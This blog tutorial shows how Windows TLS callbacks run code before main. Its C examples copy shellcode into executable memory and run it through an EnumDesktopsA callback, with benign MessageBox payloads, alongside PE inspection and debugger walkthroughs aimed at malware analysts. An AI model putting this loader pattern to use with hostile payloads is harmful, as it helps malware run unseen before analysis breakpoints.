19 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

Today I want to look at a small Windows execution-order trick: a function can run before the executable reaches its PE entry point, and therefore before our C main function. The mechanism is a Thread Local Storage callback, usually called a TLS callback.

Suppose we open an unfamiliar program in a debugger, put a breakpoint on main, and start reading from there. By the time that breakpoint fires, application code may already have changed the program’s state. That makes TLS callbacks interesting for malware analysis and for understanding the execution paths available to a red team tool.

Our experiment asks a specific question: can two tiny callbacks leave an observable record of their execution order before main? We will write a small C example, build it with MinGW-w64 on Linux, and inspect the resulting PE.

You only need basic C knowledge: variables, functions, and if statements. For the practical steps, use a Linux machine with the MinGW-w64 C compiler and binutils, plus a Windows x64 lab to run the generated executables. The short Python example later uses only the standard library.

a few words before we start

An .exe file contains more than machine instructions. It also contains information that tells Windows how to prepare the program for execution. Here are the terms we will use:

term meaning in this experiment
PE, or Portable Executable the Windows file format used by our .exe
loader the Windows component that maps the executable into memory and prepares it to run
PE entry point the address where the loader hands control to the executable after initialization
C runtime, or CRT support code that prepares the C environment and then calls main
callback a function whose address we provide so another component can call it; here, that component is the loader
breakpoint a debugger instruction to pause execution at a chosen location

Think of main as the start of the C program you normally write. Windows and the C runtime have preparation work to do before reaching it. TLS callbacks let the executable participate in that preparation.

a second place to look for code

Here, TLS means Thread Local Storage, not Transport Layer Security.

Thread-local storage normally gives each thread its own copy of some data. Its initialization mechanism also supports callbacks. We use that callback mechanism here; our example does not need a thread-local variable.

The PE TLS directory contains an AddressOfCallBacks field pointing to a null-terminated array of callback addresses. During process initialization, the loader calls these functions with DLL_PROCESS_ATTACH. They execute on the initializing thread; registering a callback does not create another thread. The callback signature also receives a module pointer and a reserved context argument. These fields and notifications are described in the Microsoft PE specification.

In plain language, this directory is a small metadata structure containing the location of a list of functions. A pointer is a value holding a memory address. A null-terminated list ends with a zero pointer, which means “there are no more callbacks.” DLL_PROCESS_ATTACH is the notification meaning “the process is starting”; despite its name, it is also used for our executable’s TLS callbacks.

When the callbacks return normally, the relevant startup order is:

malware

This is a simplified view: imported DLL initialization and runtime callbacks also participate in startup. Our two functions are only the application callbacks we add for this experiment.

main and the PE entry point are different addresses in a normal C build. The runtime startup code performs initialization before calling main. We keep that normal startup code in this example.

practical example

Our instrumentation records callback order: A appends 1 and B appends 2. If both callbacks return normally and startup reaches main, the record is the decimal number 12. Each callback also checks whether main has marked itself as entered. The version below adds a MessageBox payload inside A, whose thread-exit behavior changes whether startup can continue.

The original order-only experiment updated statically allocated integers and printed them later in main. The current version also calls User32 through the payload demonstration. Early loader initialization has restrictions: loading libraries or waiting on other threads can introduce deadlocks. Microsoft’s DLL initialization guidance explains these loader-lock constraints.

The loader lock coordinates initialization. A deadlock can occur if initialization waits for work that itself needs that lock. This is a reliability caveat, not a prediction that the message box must fail to appear: it appeared in my Windows 10 22H2 test.

Create hack.c:

/*
 * hack.c
 * observe TLS callback order before main, Windows x64 / MinGW-w64.
 * author: @cocomelonc
 */
#include <windows.h>
#include <stdio.h>

static volatile LONG sequence = 0;
static volatile LONG attach_count = 0;
static volatile LONG main_entered = 0;
static volatile LONG callback_saw_main = 0;

#ifndef DISABLE_LAB_TLS
static void NTAPI meow_tls_a(PVOID module, DWORD reason, PVOID reserved) {
  (void)module;
  (void)reserved;

  if (reason == DLL_PROCESS_ATTACH) {
    callback_saw_main |= main_entered;
    sequence = sequence * 10 + 1;
    ++attach_count;

    // in a malicious sample, attacker-controlled actions could run here,
    // before the PE entry point and main, under loader-lock constraints.
    // this demo records the callback visit and invokes a MessageBox payload.
    // the payload's exit path terminates the current thread.
    unsigned char test[] = {
      // messageBox text: "Meow-meow!"
      0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
      0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
      0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
      0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,
      0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,
      0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,
      0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,
      0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
      0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
      0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,
      0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,
      0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
      0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,
      0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,
      0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
      0x85,0x25,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,
      0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,
      0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
      0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x4d,0x65,0x6f,0x77,0x2d,0x6d,0x65,0x6f,0x77,
      0x21,0x00,0x3d,0x5e,0x2e,0x2e,0x5e,0x3d,0x00
    };
    LPVOID mem = VirtualAlloc(NULL, sizeof(test), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(mem, test, sizeof(test));
    EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  }
}

static void NTAPI meow_tls_b(PVOID module, DWORD reason, PVOID reserved) {
  (void)module;
  (void)reserved;

  if (reason == DLL_PROCESS_ATTACH) {
    callback_saw_main |= main_entered;
    sequence = sequence * 10 + 2;
    ++attach_count;
  }
}

/* The linker places these slots between the runtime's TLS sentinels. */
PIMAGE_TLS_CALLBACK meow_slot_a
  __attribute__((section(".CRT$XLB"), used)) = meow_tls_a;
PIMAGE_TLS_CALLBACK meow_slot_b
  __attribute__((section(".CRT$XLBB"), used)) = meow_tls_b;
#endif

int main(void) {
  main_entered = 1;

  printf("[main] process-attach callbacks: %ld\n", attach_count);
  printf("[main] callback order: %ld\n", sequence);
  printf("[main] callback saw main entered: %ld\n", callback_saw_main);

#ifdef DISABLE_LAB_TLS
  if (attach_count != 0 || sequence != 0 || callback_saw_main != 0) {
#else
  if (attach_count != 2 || sequence != 12 || callback_saw_main != 0) {
#endif
    fputs("unexpected initialization state\n", stderr);
    return 1;
  }

  puts("meow-meow! Initialization state matches this build.");
  return 0;
}

volatile makes the state observations explicit to the compiler. It is not a synchronization mechanism; this experiment updates the record only during process initialization and creates no worker threads.

Read the example in three pieces. The four global variables store our observations. meow_tls_a and meow_tls_b update those variables when visited during startup. The first callback also invokes the payload. If execution reaches main, it prints the observations and checks the expected values.

The comment inside meow_tls_a marks the location of the early action. Windows has already transferred control to our function at that point, before reaching main. EnumDesktopsA supplies a second callback mechanism inside this function; it is not what registers or triggers the TLS callback. The whole path still runs under the loader-lock constraints discussed above.

caveat: the window appeared, but does startup continue?

I tested the MessageBox variant shown above on Windows 10 22H2, and the Meow-meow! window appeared. The loader-lock warning does not mean that User32 calls inevitably fail. This observation establishes that the GUI demonstration worked in that environment; it does not guarantee the same behavior on every Windows build or configuration.

There is a separate issue after the window closes. Static inspection of these payload bytes identifies a thread-exit path using ExitThread / RtlExitUserThread, rather than a normal return to the caller. Since the payload runs on the initializing thread, taking that path prevents the ordinary continuation through callback B and main. A visible window therefore does not establish that the full 12 sequence completed.

The confirmed observation here is the appearance of the window. The thread-exit explanation comes from the payload’s code; it is not a claim that I captured a complete debugger trace of that exit. For an order-only experiment, the integer updates illustrate normal callback return. For this MessageBox variant, do not use missing main output as evidence that the window failed to appear.

attach_count counts our callback visits. main_entered changes from 0 to 1 when main begins. The |= operation keeps callback_saw_main set if either callback ever observes that flag as 1. With these zero-or-one values, it acts as a sticky “yes.” The (void) lines mark unused arguments, and NTAPI supplies the Windows calling convention for the callback.

#ifndef DISABLE_LAB_TLS is a compile-time choice: the code inside it is included unless we define that name when compiling. This lets one source file produce both the experiment and its control version.

a little math: why does the result say 12?

The calculation below describes the path where both callbacks return normally. The MessageBox payload’s thread-exit path can interrupt it after A has recorded 1.

We could count two callbacks, but a count cannot distinguish A-then-B from B-then-A. Instead, give A the digit 1 and B the digit 2, and append each digit to a running record:

\[s_0 = 0, \qquad s_{k+1} = 10s_k + d_k.\]

Here, (s_k) is the record after (k) callbacks, and (d_k) is the next callback’s digit. Multiplying by ten shifts the existing decimal digits left by one place. Adding the new digit fills that place:

\[0 \xrightarrow{A} 10\cdot 0 + 1 = 1 \xrightarrow{B} 10\cdot 1 + 2 = 12.\]

Reverse the callbacks and the result becomes 21. Call A twice and then B, and it becomes 112. These values describe different execution histories even when a simple counter would lose some of that information.

This is exactly what sequence = sequence * 10 + 1 and its counterpart in B implement. It is a tiny event record for this two-callback experiment. For a long trace, use an array of events: repeatedly appending digits would eventually overflow the integer.

how the callback pointers get registered

The two meow_slot_* variables contain function pointers. The section attributes place those pointers into the MinGW runtime’s TLS callback region. used asks GCC to emit the variables despite the absence of an ordinary C reference to them.

The compiler translates C into machine code; the linker combines that code with the runtime to produce the final .exe. A section is a named region of the file. Declaring our callback functions alone would not register them: the pointer variables are how their addresses reach the loader’s list.

MinGW-w64 provides the TLS directory and boundary entries. Its TLS support source defines the .CRT$XLA and .CRT$XLZ sentinels and points the directory at the entries following the first sentinel. We leave both sentinels to the runtime.

GNU’s PE linker sorts subsection suffixes, placing .CRT$XLB before .CRT$XLBB. Both precede .CRT$XLC, which the runtime can also use. See the GNU ld PE documentation for the $ subsection convention.

The loader reads the final pointer array in order. It does not search the executable for alphabetically named callback functions. The source-level subsection names help the linker construct that array.

These attributes are specific to our GCC/MinGW build. They are not a portable C registration interface. A different linker, custom startup code, or a build that discards sections needs its own verification of the final callback table.

demo

First of all, we need to build an ordinary x64 console executable with debugging symbols:

x86_64-w64-mingw32-gcc -O0 hack.c -o hack.exe -ffunction-sections -fdata-sections -static-libgcc -std=c11 -g -Wall -Wextra -Werror

malware

Run this in the directory where you saved hack.c. This is cross-compilation: the compiler runs on Linux but produces a Windows executable. -o names the output, -std=c11 selects the C language version, -O0 disables optimization for easier debugging, and -g preserves debugging information. The remaining options enable warnings and treat them as errors. A successful build normally prints nothing.

Build a control version from the same source, excluding our two callback registrations:

x86_64-w64-mingw32-gcc hack.c -o hack2.exe -std=c11 -O0 -g -Wall -Wextra -Werror -DDISABLE_LAB_TLS

Keeping symbols makes it easier to locate meow_tls_a, meow_tls_b, and their pointer slots. The control build may still contain runtime TLS callbacks. What disappears is our pair of callbacks, not necessarily the entire TLS directory.

Let’s inspect the PE before running it. Use the matching binutils tools to inspect the header, pointer region, and symbols.

These commands inspect the file without executing it. objdump -p shows PE header information:

x86_64-w64-mingw32-objdump -p hack.exe

malware

then-h lists sections:

x86_64-w64-mingw32-objdump -h hack.exe

malware

and -s -j .CRT displays the bytes of .CRT:

x86_64-w64-mingw32-objdump -s -j .CRT hack.exe

malware

nm -n lists symbol names in address order, giving us names to match against the pointer values.

x86_64-w64-mingw32-nm -n hack.exe

malware

In the header output, locate the TLS directory entry. In the symbol output, locate _tls_used, meow_slot_a, meow_slot_b, meow_tls_a, and meow_tls_b. In this GNU build, .CRT contains the merged callback slots.

For this x64 image, each callback pointer occupies eight bytes. Follow the directory’s AddressOfCallBacks, read the slots, and match their values to the function addresses. A VA is a virtual memory address. An RVA is the distance from the start of the loaded image: RVA = VA - image base. A file offset is a position in the file on disk and must be obtained through the PE section mapping. These are different coordinate systems. ASLR, or Address Space Layout Randomization, can change the image’s starting address when Windows loads it. The PE specification defines these fields.

On a first pass, concentrate on finding our two function names and their slots. Manual address conversion is useful when following the table in a PE viewer or debugger, but it is not required to run the example and understand its output.

The .tls section alone does not tell us where the callback functions live. In this build, the code is in .text, the pointer slots are in .CRT, and the TLS directory connects the relevant structures.

Before adding the MessageBox payload, both order-only variants compiled without warnings using x86_64-w64-mingw32-gcc (GCC) 12-win32. Reading those generated TLS directories and comparing the pointer values with nm gave this array order:

build callbacks before the null terminator
hack.exe meow_tls_a, meow_tls_b, __dyn_tls_init, __dyn_tls_dtor
hack-baseline.exe __dyn_tls_init, __dyn_tls_dtor

These are static inspection results from the earlier order-only files. Recheck the current executable after rebuilding; runtime callback names and addresses can differ with another toolchain version. A registered callback’s presence in the table does not prove that execution reached it.

Ok, copy both executables into a Windows x64 lab and run them from PowerShell:

.\hack.exe

For the current hack.exe, my Windows 10 22H2 test displayed the Meow-meow! window. The payload’s thread-exit path means the following console output is not an expected result for this version. It describes the order-only version, where both callbacks return and main is reached:

malware

Check it via x64dbg. First of all, enable settings:

malware

For set breakpoints, calculate addresses:

x86_64-w64-mingw32-nm -n hack.exe | grep ' meow_tls_a$'

malware

then:

x86_64-w64-mingw32-nm -n hack.exe | grep 'ImageBase'

malware

Since 0x140007D00 - 0x140000000 = 0x7D00 we need to set breakpoints in x64dbg:

bp hack.exe + 7D00

malware

malware

Run via F9:

malware

malware

Then dump rdx:

dump rdx

malware

malware

malware

Run second binary example:

.\hack2.exe

Expected output for hack2.exe:

malware

Find addresses again:

x86_64-w64-mingw32-nm -n hack2.exe | grep ' main$'
x86_64-w64-mingw32-nm -n hack2.exe | grep 'ImageBase'

malware

The baseline should return exit code 0 when its checks pass. The MessageBox variant’s exit status alone does not prove that the checks in main ran.

malware

$LASTEXITCODE displays the previous program’s exit status. If reached, our main returns 0 when its checks pass and 1 if the observed state differs from the expectation. In the baseline, -DDISABLE_LAB_TLS excludes both our callback registrations and the MessageBox payload, so zero recorded callbacks and no window are expected. If the executable will not launch at all, check that you are running it on Windows x64.

The console blocks above are expected outputs for their stated cases, not captured console transcripts. The window appearing on my Windows 10 22H2 VM is the reported runtime observation for the MessageBox variant.

For the debugger experiment, launch a fresh process with TLS callback breaks enabled before continuing initialization. Locate our callbacks through the PE table or symbols. In the MessageBox variant, observe A recording 1, then inspect the GUI call and subsequent exit path. Do not assume a breakpoint on B or main will be reached. In the order-only version, observe sequence after each callback and then at main, where the expected value is 12.

That demonstrates the analytical trap. A breakpoint on main is useful, but it cannot tell us that no application code ran earlier. Callback execution remains observable when the debugger is configured to stop at the relevant initialization events.

some updates for my practical example

The first payload displayed the dialog but followed an EXITFUNC=thread-style path. After the window closed, it could terminate the thread running the TLS callback instead of returning through EnumDesktopsA; PowerShell could therefore keep waiting and main was not guaranteed to run. I kept that original experiment in hack.c and made a separate hack3.c demo with a callback-compatible raw payload that restores RSP and returns normally.

/*
 * hack3.c
 * TLS callback demo: EnumDesktopsA invokes a raw MessageBox callback.
 * Windows x64 / MinGW-w64
 * author: @cocomelonc
 */
#include <windows.h>
#include <stdio.h>

static volatile LONG sequence = 0;
static volatile LONG attach_count = 0;
static volatile LONG main_entered = 0;
static volatile LONG callback_saw_main = 0;

#ifndef DISABLE_LAB_TLS
/*
 * Raw x64 callback payload. EnumDesktopsA supplies:
 * RDX = lParam (MessageBoxA address).
 * The payload supplies its own text and title, restores RSP, and returns
 * FALSE normally.
 */
static const unsigned char meow_payload[] = {
  0x49,0x89,0xd2,0x48,0x83,0xec,0x28,0x31,0xc9,
  0x48,0x8d,0x15,0x14,0x00,0x00,0x00,0x4c,0x8d,
  0x05,0x1a,0x00,0x00,0x00,0x45,0x31,0xc9,0x41,
  0xff,0xd2,0x31,0xc0,0x48,0x83,0xc4,0x28,0xc3,
  'M','e','o','w','-','m','e','o','w','!','!','!','\0',
  '=','^','.','.','^','=','\0'
};

static void NTAPI meow_tls_a(PVOID module, DWORD reason, PVOID reserved) {
  (void)module;
  (void)reserved;

  if (reason == DLL_PROCESS_ATTACH) {
    callback_saw_main |= main_entered;
    sequence = sequence * 10 + 1;
    ++attach_count;

    HMODULE user32 = GetModuleHandleA("user32.dll");
    FARPROC message_box = user32
      ? GetProcAddress(user32, "MessageBoxA")
      : NULL;
    LPVOID mem = NULL;

    if (message_box != NULL) {
      mem = VirtualAlloc(
        NULL,
        sizeof(meow_payload),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
      );
    }

    if (mem != NULL) {
      RtlMoveMemory(mem, meow_payload, sizeof(meow_payload));

      /*
       * EnumDesktopsA invokes the raw payload as a DESKTOPENUMPROCA.
       * lParam carries MessageBoxA's address into the payload. The payload
       * returns FALSE after the first dialog, so this call unwinds normally.
       */
      EnumDesktopsA(
        GetProcessWindowStation(),
        (DESKTOPENUMPROCA)mem,
        (LPARAM)message_box
      );

      VirtualFree(mem, 0, MEM_RELEASE);
    }
  }
}

static void NTAPI meow_tls_b(PVOID module, DWORD reason, PVOID reserved) {
  (void)module;
  (void)reserved;

  if (reason == DLL_PROCESS_ATTACH) {
    callback_saw_main |= main_entered;
    sequence = sequence * 10 + 2;
    ++attach_count;
  }
}

/* The linker places these callback pointers in the MinGW TLS callback list. */
PIMAGE_TLS_CALLBACK meow_slot_a
  __attribute__((section(".CRT$XLB"), used)) = meow_tls_a;
PIMAGE_TLS_CALLBACK meow_slot_b
  __attribute__((section(".CRT$XLBB"), used)) = meow_tls_b;
#endif

int main(void) {
  main_entered = 1;

  printf("[main] process-attach callbacks: %ld\n", attach_count);
  printf("[main] callback order: %ld\n", sequence);
  printf("[main] callback saw main entered: %ld\n", callback_saw_main);

#ifdef DISABLE_LAB_TLS
  if (attach_count != 0 || sequence != 0 || callback_saw_main != 0) {
#else
  if (attach_count != 2 || sequence != 12 || callback_saw_main != 0) {
#endif
    fputs("unexpected initialization state\n", stderr);
    return 1;
  }

  puts("MessageBox returned; TLS callbacks and main completed.");
  return 0;
}

The raw payload is the byte array shown in hack3.c; it does not contain the string MessageBoxA or a direct User32 import. The wrapper resolves the function address and passes it through lParam. EnumDesktopsA invokes the bytes as a DESKTOPENUMPROCA; the payload supplies the fixed text Meow-meow!!!, the title =^..^=, restores its 40-byte x64 shadow-space allocation, returns FALSE, and lets execution continue to meow_tls_b and main.

For readers who want to inspect only the raw bytes, here is the payload without the wrapper code:

49 89 D2 48 83 EC 28 31 C9 48 8D 15 14 00 00 00
4C 8D 05 1A 00 00 00 45 31 C9 41 FF D2 31 C0 48
83 C4 28 C3
4D 65 6F 77 2D 6D 65 6F 77 21 21 21 00
3D 5E 2E 2E 5E 3D 00

C3 is the normal ret instruction. The final bytes are the null-terminated message text and title; the API name is intentionally absent from the raw payload.

Compile it:

x86_64-w64-mingw32-gcc hack3.c -o hack3.exe -std=c11 -O0 -g -Wall -Wextra -Werror -luser32

malware

Then run on my Windows VM:

.\hack3.exe

malware

malware

what about entropy?

In the PE bloating experiment, we looked at entropy as a property of file bytes. Here it gives us a useful question: can byte entropy tell us which callback ran first?

For a nonempty sequence of bytes, count how often each byte value appears. If value (b) occurs (n_b) times in (N) bytes, its observed frequency is (p_b=n_b/N). The Shannon entropy of this byte-frequency distribution is:

\[H = -\sum_{b:p_b>0} p_b\log_2 p_b.\]

The sum adds a contribution for each value that occurs; absent values are skipped. Base-two logarithms give the result in bits per byte. One repeated value gives 0; all 256 byte values appearing equally often give 8. This uses the entropy definition from Claude Shannon’s original paper.

Let’s represent our callback visits as two event-label bytes, 01 02. These are labels for A and B, not the memory representation of the C integer 12 or the PE callback pointers. Each label occurs once, so both frequencies are 1/2:

\[H = -\left(\tfrac12\log_2\tfrac12 + \tfrac12\log_2\tfrac12\right) = 1\text{ bit per byte}.\]

Reverse the record to 02 01: the counts stay the same, so the entropy stays 1. Our decimal record changes from 12 to 21, however. It preserves the order that this frequency calculation discards.

Try it with entropy_demo.py:

from collections import Counter
from math import log2


def byte_entropy(data):
    if not data:
        raise ValueError("provide at least one byte")
    frequencies = [count / len(data) for count in Counter(data).values()]
    return -sum(p * log2(p) for p in frequencies) + 0.0


samples = {
    "A then B": bytes([1, 2]),
    "B then A": bytes([2, 1]),
    "A then A": bytes([1, 1]),
}

for label, data in samples.items():
    print(f"{label}: {byte_entropy(data):.3f} bits/byte")

Run python3 entropy_demo.py:

A then B: 1.000 bits/byte
B then A: 1.000 bits/byte
A then A: 0.000 bits/byte

The same limitation applies when measuring a callback table’s raw bytes: swapping two complete pointer entries preserves the byte counts while changing the call order. Byte-frequency entropy cannot detect that swap. A two-byte sample also says very little about a larger file; its empirical entropy cannot exceed 1 bit per byte because it contains at most two distinct values.

Entropy measures byte diversity under this frequency model, not whether a program is malicious or when it executes a function. For this experiment, inspecting the pointer table and observing callback execution answer the question we actually care about.

what this means for malware analysis

A TLS directory is a place to inspect during triage. Follow its callback array and read the code each pointer reaches, alongside the usual entry-point analysis. A callback that only initializes runtime state has a different meaning from one that changes executable memory or starts unexpected activity.

TLS callbacks are also normal runtime infrastructure. Their presence alone is insufficient evidence of malware; our control build makes that point directly. The useful finding is the callback’s behavior and its relationship to the rest of the executable.

For ethical hackers and red teamers, the practical lesson is about execution coverage. An assessment that observes a program only after main can miss initialization behavior. This example gives us a small, reproducible artifact for checking that assumption without changing any other process.

conclusion

The TLS directory explains how Windows reaches application code before main. In the order-only experiment, callbacks A and B produce the record 12. In my Windows 10 22H2 test of the MessageBox variant, the window appeared during the early execution path. Its payload’s thread-exit behavior explains why showing the window and continuing through main are separate outcomes.

I hope this post is useful for malware researchers, C programmers, and ethical hackers studying Windows executable startup.

Microsoft PE specification: the TLS section Claude Shannon’s original paper
EnumDesktopsA
Malware development tricks. Run shellcode via EnumDesktopsA. C++ example.
source code in Github

This is a practical case for educational purposes only.

Thanks for your time, happy hacking and good bye! PS. All drawings and screenshots are mine